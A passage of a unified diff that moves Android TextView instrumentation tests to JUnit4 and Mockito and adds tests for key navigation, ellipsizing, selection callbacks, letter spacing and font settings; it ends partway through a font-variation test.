-    public void testAccessFilters() {
+    @Test
+    public void testAccessFilters() throws Throwable {
         final InputFilter[] expected = { new InputFilter.AllCaps(),
                 new InputFilter.LengthFilter(2) };
 
         final QwertyKeyListener qwertyKeyListener
                 = QwertyKeyListener.getInstance(false, Capitalize.NONE);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView = findTextView(R.id.textview_text);
-                mTextView.setKeyListener(qwertyKeyListener);
-                mTextView.setText("", BufferType.EDITABLE);
-                mTextView.setFilters(expected);
-                mTextView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            mTextView.setKeyListener(qwertyKeyListener);
+            mTextView.setText("", BufferType.EDITABLE);
+            mTextView.setFilters(expected);
+            mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
         assertSame(expected, mTextView.getFilters());
 
-        mKeyEventUtil.sendString(mTextView, "a");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "a");
         // the text is capitalized by InputFilter.AllCaps
         assertEquals("A", mTextView.getText().toString());
-        mKeyEventUtil.sendString(mTextView, "b");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "b");
         // the text is capitalized by InputFilter.AllCaps
         assertEquals("AB", mTextView.getText().toString());
-        mKeyEventUtil.sendString(mTextView, "c");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "c");
         // 'C' could not be accepted, because there is a length filter.
         assertEquals("AB", mTextView.getText().toString());
 
@@ -2283,11 +2604,13 @@
         }
     }
 
-    public void testGetFocusedRect() {
+    @Test
+    public void testGetFocusedRect() throws Throwable {
         Rect rc = new Rect();
 
         // Basic
-        mTextView = new TextView(mActivity);
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
         mTextView.getFocusedRect(rc);
         assertEquals(mTextView.getScrollX(), rc.left);
         assertEquals(mTextView.getScrollX() + mTextView.getWidth(), rc.right);
@@ -2302,13 +2625,11 @@
         assertEquals(mTextView.getScrollY(), rc.top);
         assertEquals(mTextView.getScrollY() + mTextView.getHeight(), rc.bottom);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setSelected(true);
-                SpannableString text = new SpannableString(mTextView.getText());
-                Selection.setSelection(text, 3, 13);
-                mTextView.setText(text);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final SpannableString text = new SpannableString(mTextView.getText());
+            mTextView.setTextIsSelectable(true);
+            mTextView.setText(text);
+            Selection.setSelection((Spannable) mTextView.getText(), 3, 13);
         });
         mInstrumentation.waitForIdleSync();
         mTextView.getFocusedRect(rc);
@@ -2323,13 +2644,11 @@
         assertEquals(mTextView.getLayout().getLineTop(0), rc.top);
         assertEquals(mTextView.getLayout().getLineBottom(0), rc.bottom);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setSelected(true);
-                SpannableString text = new SpannableString(mTextView.getText());
-                Selection.setSelection(text, 13, 3);
-                mTextView.setText(text);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final SpannableString text = new SpannableString(mTextView.getText());
+            mTextView.setTextIsSelectable(true);
+            mTextView.setText(text);
+            Selection.setSelection((Spannable) mTextView.getText(), 13, 3);
         });
         mInstrumentation.waitForIdleSync();
         mTextView.getFocusedRect(rc);
@@ -2347,13 +2666,11 @@
         assertEquals(mTextView.getScrollY(), rc.top);
         assertEquals(mTextView.getScrollY() + mTextView.getHeight(), rc.bottom);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setSelected(true);
-                SpannableString text = new SpannableString(mTextView.getText());
-                Selection.setSelection(text, 2, 4);
-                mTextView.setText(text);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final SpannableString text = new SpannableString(mTextView.getText());
+            mTextView.setTextIsSelectable(true);
+            mTextView.setText(text);
+            Selection.setSelection((Spannable) mTextView.getText(), 2, 4);
         });
         mInstrumentation.waitForIdleSync();
         mTextView.getFocusedRect(rc);
@@ -2363,13 +2680,12 @@
         assertEquals(mTextView.getLayout().getLineTop(0), rc.top);
         assertEquals(mTextView.getLayout().getLineBottom(0), rc.bottom);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setSelected(true);
-                SpannableString text = new SpannableString(mTextView.getText());
-                Selection.setSelection(text, 2, 10); // cross the "\n" and two lines
-                mTextView.setText(text);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            final SpannableString text = new SpannableString(mTextView.getText());
+            mTextView.setTextIsSelectable(true);
+            mTextView.setText(text);
+            // cross the "\n" and two lines
+            Selection.setSelection((Spannable) mTextView.getText(), 2, 10);
         });
         mInstrumentation.waitForIdleSync();
         mTextView.getFocusedRect(rc);
@@ -2378,8 +2694,8 @@
         RectF rcf = new RectF();
         path.computeBounds(rcf, true);
         assertNotNull(mTextView.getLayout());
-        assertEquals(rcf.left - 1, (float) rc.left);
-        assertEquals(rcf.right + 1, (float) rc.right);
+        assertEquals(rcf.left - 1, (float) rc.left, 0.0f);
+        assertEquals(rcf.right + 1, (float) rc.right, 0.0f);
         assertEquals(mTextView.getLayout().getLineTop(0), rc.top);
         assertEquals(mTextView.getLayout().getLineBottom(1), rc.bottom);
 
@@ -2391,8 +2707,10 @@
         }
     }
 
-    public void testGetLineCount() {
-        mTextView = findTextView(R.id.textview_text);
+    @Test
+    public void testGetLineCount() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = findTextView(R.id.textview_text));
+        mInstrumentation.waitForIdleSync();
         // this is an one line text with default setting.
         assertEquals(1, mTextView.getLineCount());
 
@@ -2408,15 +2726,18 @@
         setMinLines(12);
         assertEquals(1, mTextView.getLineCount());
 
-        mTextView = new TextView(mActivity);
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
         // the internal Layout has not been built.
         assertNull(mTextView.getLayout());
         assertEquals(0, mTextView.getLineCount());
     }
 
-    public void testGetLineBounds() {
+    @Test
+    public void testGetLineBounds() throws Throwable {
         Rect rc = new Rect();
-        mTextView = new TextView(mActivity);
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
         assertEquals(0, mTextView.getLineBounds(0, null));
 
         assertEquals(0, mTextView.getLineBounds(0, rc));
@@ -2434,11 +2755,9 @@
         assertEquals(0, rc.top);
         assertEquals(mTextView.getHeight(), rc.bottom);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setPadding(1, 2, 3, 4);
-                mTextView.setGravity(Gravity.BOTTOM);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setPadding(1, 2, 3, 4);
+            mTextView.setGravity(Gravity.BOTTOM);
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(mTextView.getBaseline(), mTextView.getLineBounds(0, rc));
@@ -2448,59 +2767,103 @@
         assertEquals(mTextView.getHeight() - mTextView.getTotalPaddingBottom(), rc.bottom);
     }
 
-    public void testGetBaseLine() {
-        mTextView = new TextView(mActivity);
+    @Test
+    public void testGetBaseLine() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
         assertEquals(-1, mTextView.getBaseline());
 
         mTextView = findTextView(R.id.textview_text);
         assertEquals(mTextView.getLayout().getLineBaseline(0), mTextView.getBaseline());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setPadding(1, 2, 3, 4);
-                mTextView.setGravity(Gravity.BOTTOM);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setPadding(1, 2, 3, 4);
+            mTextView.setGravity(Gravity.BOTTOM);
         });
         mInstrumentation.waitForIdleSync();
         int expected = mTextView.getTotalPaddingTop() + mTextView.getLayout().getLineBaseline(0);
         assertEquals(expected, mTextView.getBaseline());
     }
 
-    public void testPressKey() {
-        initTextViewForTyping();
+    @Test
+    public void testPressKey() throws Throwable {
+        initTextViewForTypingOnUiThread();
 
-        mKeyEventUtil.sendString(mTextView, "a");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "a");
         assertEquals("a", mTextView.getText().toString());
-        mKeyEventUtil.sendString(mTextView, "b");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "b");
         assertEquals("ab", mTextView.getText().toString());
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
         assertEquals("a", mTextView.getText().toString());
     }
 
-    public void testSetIncludeFontPadding() {
+    @Test
+    public void testKeyNavigation() throws Throwable {
+        initTextViewForTypingOnUiThread();
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.findViewById(R.id.textview_singleLine).setFocusableInTouchMode(true);
+            mActivity.findViewById(R.id.textview_text_two_lines).setFocusableInTouchMode(true);
+            mTextView.setMovementMethod(ArrowKeyMovementMethod.getInstance());
+            mTextView.setText("abc");
+            mTextView.setFocusableInTouchMode(true);
+        });
+
+        mTextView.requestFocus();
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mTextView.isFocused());
+
+        // Pure-keyboard arrows should not cause focus to leave the textfield
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_DPAD_UP);
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mTextView.isFocused());
+
+        // Non-pure-keyboard arrows, however, should.
+        int dpadRemote = InputDevice.SOURCE_DPAD | InputDevice.SOURCE_KEYBOARD;
+        sendSourceKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_DPAD_UP, dpadRemote);
+        mInstrumentation.waitForIdleSync();
+        assertFalse(mTextView.isFocused());
+
+        sendSourceKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_DPAD_DOWN, dpadRemote);
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mTextView.isFocused());
+
+        // Tab should
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_TAB);
+        mInstrumentation.waitForIdleSync();
+        assertFalse(mTextView.isFocused());
+    }
+
+    private void sendSourceKeyDownUp(Instrumentation instrumentation, View targetView, int key,
+            int source) {
+        KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, key);
+        event.setSource(source);
+        CtsKeyEventUtil.sendKey(instrumentation, targetView, event);
+        event = new KeyEvent(KeyEvent.ACTION_UP, key);
+        event.setSource(source);
+        CtsKeyEventUtil.sendKey(instrumentation, targetView, event);
+    }
+
+    @Test
+    public void testSetIncludeFontPadding() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         assertTrue(mTextView.getIncludeFontPadding());
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setWidth(mTextView.getWidth() / 3);
-                mTextView.setPadding(1, 2, 3, 4);
-                mTextView.setGravity(Gravity.BOTTOM);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setWidth(mTextView.getWidth() / 3);
+            mTextView.setPadding(1, 2, 3, 4);
+            mTextView.setGravity(Gravity.BOTTOM);
         });
         mInstrumentation.waitForIdleSync();
 
         int oldHeight = mTextView.getHeight();
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setIncludeFontPadding(false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.setIncludeFontPadding(false));
         mInstrumentation.waitForIdleSync();
 
         assertTrue(mTextView.getHeight() < oldHeight);
         assertFalse(mTextView.getIncludeFontPadding());
     }
 
+    @UiThreadTest
+    @Test
     public void testScroll() {
         mTextView = new TextView(mActivity);
 
@@ -2525,16 +2888,22 @@
         assertEquals(480, mTextView.getScrollY());
     }
 
-    public void testDebug() {
-        mTextView = new TextView(mActivity);
-        mTextView.debug(0);
+    @Test
+    public void testDebug() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = new TextView(mActivity);
+            mTextView.debug(0);
+            mTextView.setText("Hello!");
+        });
+        mInstrumentation.waitForIdleSync();
 
-        mTextView.setText("Hello!");
         layout(mTextView);
         mTextView.debug(1);
     }
 
-    public void testSelection() {
+    @UiThreadTest
+    @Test
+    public void testSelection() throws Throwable {
         mTextView = new TextView(mActivity);
         String text = "This is the content";
         mTextView.setText(text, BufferType.SPANNABLE);
@@ -2558,7 +2927,34 @@
         assertTrue(mTextView.hasSelection());
     }
 
+    @Test
+    public void testOnSelectionChangedIsTriggeredWhenSelectionChanges() throws Throwable {
+        final String text = "any text";
+        mActivityRule.runOnUiThread(() -> mTextView = spy(new MockTextView(mActivity)));
+        mInstrumentation.waitForIdleSync();
+        mTextView.setText(text, BufferType.SPANNABLE);
+
+        // assert that there is currently no selection
+        assertFalse(mTextView.hasSelection());
+
+        // select all
+        Selection.selectAll((Spannable) mTextView.getText());
+        // After selectAll OnSelectionChanged should have been called
+        ((MockTextView) verify(mTextView, times(1))).onSelectionChanged(0, text.length());
+
+        reset(mTextView);
+        // change selection
+        Selection.setSelection((Spannable) mTextView.getText(), 1, 5);
+        ((MockTextView) verify(mTextView, times(1))).onSelectionChanged(1, 5);
+
+        reset(mTextView);
+        // clear selection
+        Selection.removeSelection((Spannable) mTextView.getText());
+        ((MockTextView) verify(mTextView, times(1))).onSelectionChanged(-1, -1);
+    }
+
     @UiThreadTest
+    @Test
     public void testAccessEllipsize() {
         mActivity.setContentView(R.layout.textview_ellipsize);
 
@@ -2598,135 +2994,202 @@
         // there is no method to check if '...yLongVeryLongWord' is painted in the screen.
     }
 
-    public void testEllipsizeEndAndNoEllipsizeHasSameBaselineForSingleLine() {
-        int textWidth = calculateTextWidth(LONG_TEXT);
+    @Test
+    public void testEllipsizeAndMaxLinesForSingleLine() throws Throwable {
+        // no maxline or ellipsize set, single line text
+        final TextView tvNoMaxLine = new TextView(mActivity);
+        tvNoMaxLine.setLineSpacing(0, 1.5f);
+        tvNoMaxLine.setText("a");
 
-        TextView tvEllipsizeEnd = new TextView(getActivity());
+        // maxline set, no ellipsize, text with two lines
+        final TextView tvEllipsizeNone = new TextView(mActivity);
+        tvEllipsizeNone.setMaxLines(1);
+        tvEllipsizeNone.setLineSpacing(0, 1.5f);
+        tvEllipsizeNone.setText("a\na");
+
+        // maxline set, ellipsize end, text with two lines
+        final TextView tvEllipsizeEnd = new TextView(mActivity);
         tvEllipsizeEnd.setEllipsize(TruncateAt.END);
         tvEllipsizeEnd.setMaxLines(1);
-        tvEllipsizeEnd.setWidth(textWidth >> 2);
-        tvEllipsizeEnd.setText(LONG_TEXT);
-
-        TextView tvEllipsizeNone = new TextView(getActivity());
-        tvEllipsizeNone.setWidth(textWidth >> 2);
-        tvEllipsizeNone.setText("a");
+        tvEllipsizeEnd.setLineSpacing(0, 1.5f);
+        tvEllipsizeEnd.setText("a\na");
 
         final FrameLayout layout = new FrameLayout(mActivity);
         ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
-                ViewGroup.LayoutParams.MATCH_PARENT,
-                ViewGroup.LayoutParams.MATCH_PARENT);
+                ViewGroup.LayoutParams.WRAP_CONTENT,
+                ViewGroup.LayoutParams.WRAP_CONTENT);
         layout.addView(tvEllipsizeEnd, layoutParams);
         layout.addView(tvEllipsizeNone, layoutParams);
-        layout.setLayoutParams(layoutParams);
+        layout.addView(tvNoMaxLine, layoutParams);
 
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getActivity().setContentView(layout);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout,
+                new ViewGroup.LayoutParams(
+                        ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT)));
+        mInstrumentation.waitForIdleSync();
 
-        assertEquals("Ellipsized and non ellipsized single line texts should have the same " +
-                        "baseline",
-                tvEllipsizeEnd.getLayout().getLineBaseline(0),
+        assertEquals(tvEllipsizeEnd.getHeight(), tvEllipsizeNone.getHeight());
+
+        assertEquals(tvEllipsizeEnd.getHeight(), tvNoMaxLine.getHeight());
+
+        assertEquals(tvEllipsizeEnd.getLayout().getLineBaseline(0),
                 tvEllipsizeNone.getLayout().getLineBaseline(0));
+
+        assertEquals(tvEllipsizeEnd.getLayout().getLineBaseline(0),
+                tvNoMaxLine.getLayout().getLineBaseline(0));
     }
 
-    public void testEllipsizeEndAndNoEllipsizeHasSameBaselineForMultiLine() {
-        int textWidth = calculateTextWidth(LONG_TEXT);
+    @Test
+    public void testEllipsizeAndMaxLinesForMultiLine() throws Throwable {
+        // no maxline, no ellipsize, text with two lines
+        final TextView tvNoMaxLine = new TextView(mActivity);
+        tvNoMaxLine.setLineSpacing(0, 1.5f);
+        tvNoMaxLine.setText("a\na");
 
-        TextView tvEllipsizeEnd = new TextView(getActivity());
+        // maxline set, no ellipsize, text with three lines
+        final TextView tvEllipsizeNone = new TextView(mActivity);
+        tvEllipsizeNone.setMaxLines(2);
+        tvEllipsizeNone.setLineSpacing(0, 1.5f);
+        tvEllipsizeNone.setText("a\na\na");
+
+        // maxline set, ellipsize end, text with three lines
+        final TextView tvEllipsizeEnd = new TextView(mActivity);
         tvEllipsizeEnd.setEllipsize(TruncateAt.END);
         tvEllipsizeEnd.setMaxLines(2);
-        tvEllipsizeEnd.setWidth(textWidth >> 2);
-        tvEllipsizeEnd.setText(LONG_TEXT);
-
-        TextView tvEllipsizeNone = new TextView(getActivity());
-        tvEllipsizeNone.setMaxLines(2);
-        tvEllipsizeNone.setWidth(textWidth >> 2);
-        tvEllipsizeNone.setText(LONG_TEXT);
+        tvEllipsizeEnd.setLineSpacing(0, 1.5f);
+        tvEllipsizeEnd.setText("a\na\na");
 
         final FrameLayout layout = new FrameLayout(mActivity);
         ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
-                ViewGroup.LayoutParams.MATCH_PARENT,
-                ViewGroup.LayoutParams.MATCH_PARENT);
+                ViewGroup.LayoutParams.WRAP_CONTENT,
+                ViewGroup.LayoutParams.WRAP_CONTENT);
 
+        layout.addView(tvNoMaxLine, layoutParams);
         layout.addView(tvEllipsizeEnd, layoutParams);
         layout.addView(tvEllipsizeNone, layoutParams);
-        layout.setLayoutParams(layoutParams);
 
-        mActivity.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getActivity().setContentView(layout);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() ->  mActivity.setContentView(layout,
+                new ViewGroup.LayoutParams(
+                        ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT)));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(tvEllipsizeEnd.getHeight(), tvEllipsizeNone.getHeight());
+
+        assertEquals(tvEllipsizeEnd.getHeight(), tvNoMaxLine.getHeight());
 
         for (int i = 0; i < tvEllipsizeEnd.getLineCount(); i++) {
-            assertEquals("Ellipsized and non ellipsized multi line texts should have the same " +
-                            "baseline for line " + i,
+            assertEquals("Should have the same baseline for line " + i,
                     tvEllipsizeEnd.getLayout().getLineBaseline(i),
                     tvEllipsizeNone.getLayout().getLineBaseline(i));
+
+            assertEquals("Should have the same baseline for line " + i,
+                    tvEllipsizeEnd.getLayout().getLineBaseline(i),
+                    tvNoMaxLine.getLayout().getLineBaseline(i));
         }
     }
 
-    public void testSetCursorVisible() {
+    @Test
+    public void testEllipsizeAndMaxLinesForHint() throws Throwable {
+        // no maxline, no ellipsize, hint with two lines
+        final TextView tvTwoLines = new TextView(mActivity);
+        tvTwoLines.setLineSpacing(0, 1.5f);
+        tvTwoLines.setHint("a\na");
+
+        // no maxline, no ellipsize, hint with three lines
+        final TextView tvThreeLines = new TextView(mActivity);
+        tvThreeLines.setLineSpacing(0, 1.5f);
+        tvThreeLines.setHint("a\na\na");
+
+        // maxline set, ellipsize end, hint with three lines
+        final TextView tvEllipsizeEnd = new TextView(mActivity);
+        tvEllipsizeEnd.setEllipsize(TruncateAt.END);
+        tvEllipsizeEnd.setMaxLines(2);
+        tvEllipsizeEnd.setLineSpacing(0, 1.5f);
+        tvEllipsizeEnd.setHint("a\na\na");
+
+        // maxline set, no ellipsize, hint with three lines
+        final TextView tvEllipsizeNone = new TextView(mActivity);
+        tvEllipsizeNone.setMaxLines(2);
+        tvEllipsizeNone.setLineSpacing(0, 1.5f);
+        tvEllipsizeNone.setHint("a\na\na");
+
+        final FrameLayout layout = new FrameLayout(mActivity);
+        ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.WRAP_CONTENT,
+                ViewGroup.LayoutParams.WRAP_CONTENT);
+
+        layout.addView(tvTwoLines, layoutParams);
+        layout.addView(tvEllipsizeEnd, layoutParams);
+        layout.addView(tvEllipsizeNone, layoutParams);
+        layout.addView(tvThreeLines, layoutParams);
+
+        mActivityRule.runOnUiThread(() ->  mActivity.setContentView(layout,
+                new ViewGroup.LayoutParams(
+                        ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT)));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals("Non-ellipsized hint should not crop text at maxLines",
+                tvThreeLines.getHeight(), tvEllipsizeNone.getHeight());
+
+        assertEquals("Ellipsized hint should crop text at maxLines",
+                tvTwoLines.getHeight(), tvEllipsizeEnd.getHeight());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessCursorVisible() {
         mTextView = new TextView(mActivity);
 
         mTextView.setCursorVisible(true);
+        assertTrue(mTextView.isCursorVisible());
         mTextView.setCursorVisible(false);
-    }
-
-    public void testOnWindowFocusChanged() {
-        // Do not test. Implementation details.
-    }
-
-    public void testOnTouchEvent() {
-        // Do not test. Implementation details.
-    }
-
-    public void testOnTrackballEvent() {
-        // Do not test. Implementation details.
-    }
-
-    public void testGetTextColors() {
-        // TODO: How to get a suitable TypedArray to test this method.
-    }
-
-    public void testOnKeyShortcut() {
-        // Do not test. Implementation details.
+        assertFalse(mTextView.isCursorVisible());
     }
 
     @UiThreadTest
+    @Test
     public void testPerformLongClick() {
         mTextView = findTextView(R.id.textview_text);
         mTextView.setText("This is content");
-        MockOnLongClickListener onLongClickListener = new MockOnLongClickListener(true);
-        MockOnCreateContextMenuListener onCreateContextMenuListener
-                = new MockOnCreateContextMenuListener(false);
-        mTextView.setOnLongClickListener(onLongClickListener);
-        mTextView.setOnCreateContextMenuListener(onCreateContextMenuListener);
-        assertTrue(mTextView.performLongClick());
-        assertTrue(onLongClickListener.hasLongClicked());
-        assertFalse(onCreateContextMenuListener.hasCreatedContextMenu());
 
-        onLongClickListener = new MockOnLongClickListener(false);
-        mTextView.setOnLongClickListener(onLongClickListener);
-        mTextView.setOnCreateContextMenuListener(onCreateContextMenuListener);
-        assertTrue(mTextView.performLongClick());
-        assertTrue(onLongClickListener.hasLongClicked());
-        assertTrue(onCreateContextMenuListener.hasCreatedContextMenu());
+        View.OnLongClickListener mockOnLongClickListener = mock(View.OnLongClickListener.class);
+        when(mockOnLongClickListener.onLongClick(any(View.class))).thenReturn(Boolean.TRUE);
 
+        View.OnCreateContextMenuListener mockOnCreateContextMenuListener =
+                mock(View.OnCreateContextMenuListener.class);
+        doAnswer((InvocationOnMock invocation) -> {
+            ((ContextMenu) invocation.getArguments() [0]).add("menu item");
+            return null;
+        }).when(mockOnCreateContextMenuListener).onCreateContextMenu(
+                any(ContextMenu.class), any(View.class), any());
+
+        mTextView.setOnLongClickListener(mockOnLongClickListener);
+        mTextView.setOnCreateContextMenuListener(mockOnCreateContextMenuListener);
+        assertTrue(mTextView.performLongClick());
+        verify(mockOnLongClickListener, times(1)).onLongClick(mTextView);
+        verifyZeroInteractions(mockOnCreateContextMenuListener);
+
+        reset(mockOnLongClickListener);
+        when(mockOnLongClickListener.onLongClick(any(View.class))).thenReturn(Boolean.FALSE);
+        assertTrue(mTextView.performLongClick());
+        verify(mockOnLongClickListener, times(1)).onLongClick(mTextView);
+        verify(mockOnCreateContextMenuListener, times(1)).onCreateContextMenu(
+                any(ContextMenu.class), eq(mTextView), any());
+
+        reset(mockOnCreateContextMenuListener);
         mTextView.setOnLongClickListener(null);
-        onCreateContextMenuListener = new MockOnCreateContextMenuListener(true);
-        mTextView.setOnCreateContextMenuListener(onCreateContextMenuListener);
+        doNothing().when(mockOnCreateContextMenuListener).onCreateContextMenu(
+                any(ContextMenu.class), any(View.class), any());
         assertFalse(mTextView.performLongClick());
-        assertTrue(onCreateContextMenuListener.hasCreatedContextMenu());
+        verifyNoMoreInteractions(mockOnLongClickListener);
+        verify(mockOnCreateContextMenuListener, times(1)).onCreateContextMenu(
+                any(ContextMenu.class), eq(mTextView), any());
     }
 
     @UiThreadTest
+    @Test
     public void testTextAttr() {
         mTextView = findTextView(R.id.textview_textAttr);
         // getText
@@ -2785,6 +3248,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend() {
         mTextView = new TextView(mActivity);
 
@@ -2832,6 +3296,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_doesNotAddLinksWhenAppendedTextDoesNotContainLinks() {
         mTextView = new TextView(mActivity);
         mTextView.setAutoLinkMask(Linkify.ALL);
@@ -2846,6 +3311,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_doesNotAddLinksWhenAutoLinkIsNotEnabled() {
         mTextView = new TextView(mActivity);
         mTextView.setText("text without URL");
@@ -2859,6 +3325,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_addsLinksWhenAutoLinkIsEnabled() {
         mTextView = new TextView(mActivity);
         mTextView.setAutoLinkMask(Linkify.ALL);
@@ -2875,6 +3342,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_addsLinksEvenWhenThereAreUrlsSetBefore() {
         mTextView = new TextView(mActivity);
         mTextView.setAutoLinkMask(Linkify.ALL);
@@ -2894,6 +3362,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_setsMovementMethodWhenTextContainsUrlAndAutoLinkIsEnabled() {
         mTextView = new TextView(mActivity);
         mTextView.setAutoLinkMask(Linkify.ALL);
@@ -2908,6 +3377,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_addsLinksWhenTextIsSpannableAndContainsUrlAndAutoLinkIsEnabled() {
         mTextView = new TextView(mActivity);
         mTextView.setAutoLinkMask(Linkify.ALL);
@@ -2923,6 +3393,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_addsLinkIfAppendedTextCompletesPartialUrlAtTheEndOfExistingText() {
         mTextView = new TextView(mActivity);
         mTextView.setAutoLinkMask(Linkify.ALL);
@@ -2939,6 +3410,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAppend_addsLinkIfAppendedTextUpdatesUrlAtTheEndOfExistingText() {
         mTextView = new TextView(mActivity);
         mTextView.setAutoLinkMask(Linkify.ALL);
@@ -2953,8 +3425,364 @@
                 urlSpans[0].getURL(), "http://android.com/textview");
     }
 
+    @UiThreadTest
+    @Test
+    public void testGetLetterSpacing_returnsValueThatWasSet() {
+        mTextView = new TextView(mActivity);
+        mTextView.setLetterSpacing(2f);
+        assertEquals("getLetterSpacing should return the value that was set",
+                2f, mTextView.getLetterSpacing(), 0.0f);
+    }
 
-    public void testAccessTransformationMethod() {
+    @Test
+    public void testSetLetterSpacingChangesTextWidth() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = new TextView(mActivity);
+            mTextView.setText("aa");
+            mTextView.setLetterSpacing(0f);
+            mTextView.setTextSize(8f);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final FrameLayout layout = new FrameLayout(mActivity);
+        final ViewGroup.LayoutParams layoutParams = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.WRAP_CONTENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+        layout.addView(mTextView, layoutParams);
+        layout.setLayoutParams(layoutParams);
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
+        mInstrumentation.waitForIdleSync();
+
+        // measure text with zero letter spacing
+        final float zeroSpacing = mTextView.getLayout().getLineWidth(0);
+
+        mActivityRule.runOnUiThread(() -> mTextView.setLetterSpacing(1f));
+        mInstrumentation.waitForIdleSync();
+
+        // measure text with single letter spacing
+        final float singleSpacing = mTextView.getLayout().getLineWidth(0);
+
+        mActivityRule.runOnUiThread(() -> mTextView.setLetterSpacing(2f));
+        mInstrumentation.waitForIdleSync();
+
+        // measure text with double letter spacing
+        final float doubleSpacing = mTextView.getLayout().getLineWidth(0);
+
+        assertEquals("Double spacing should have two times the spacing of single spacing",
+                doubleSpacing - zeroSpacing, 2f * (singleSpacing - zeroSpacing), 1f);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testGetFontFeatureSettings_returnsValueThatWasSet() {
+        mTextView = new TextView(mActivity);
+        mTextView.setFontFeatureSettings("\"smcp\" on");
+        assertEquals("getFontFeatureSettings should return the value that was set",
+                "\"smcp\" on", mTextView.getFontFeatureSettings());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetGetFontVariationSettings() {
+        mTextView = new TextView(mActivity);
+        Context context = InstrumentationRegistry.getTargetContext();
+        Typeface typeface = Typeface.createFromAsset(context.getAssets(), "multiaxis.ttf");
+        mTextView.setTypeface(typeface);
+
+        // multiaxis.ttf supports "aaaa", "BBBB", "a b ", " C D" axes.
+
+        // The default variation settings should be null.
+        assertNull(mTextView.getFontVariationSettings());
+
+        final String[] invalidFormatSettings = {
+                "invalid syntax",
+                "'aaa' 1.0",  // tag is not 4 ascii chars
+        };
+        for (String settings : invalidFormatSettings) {
+            try {
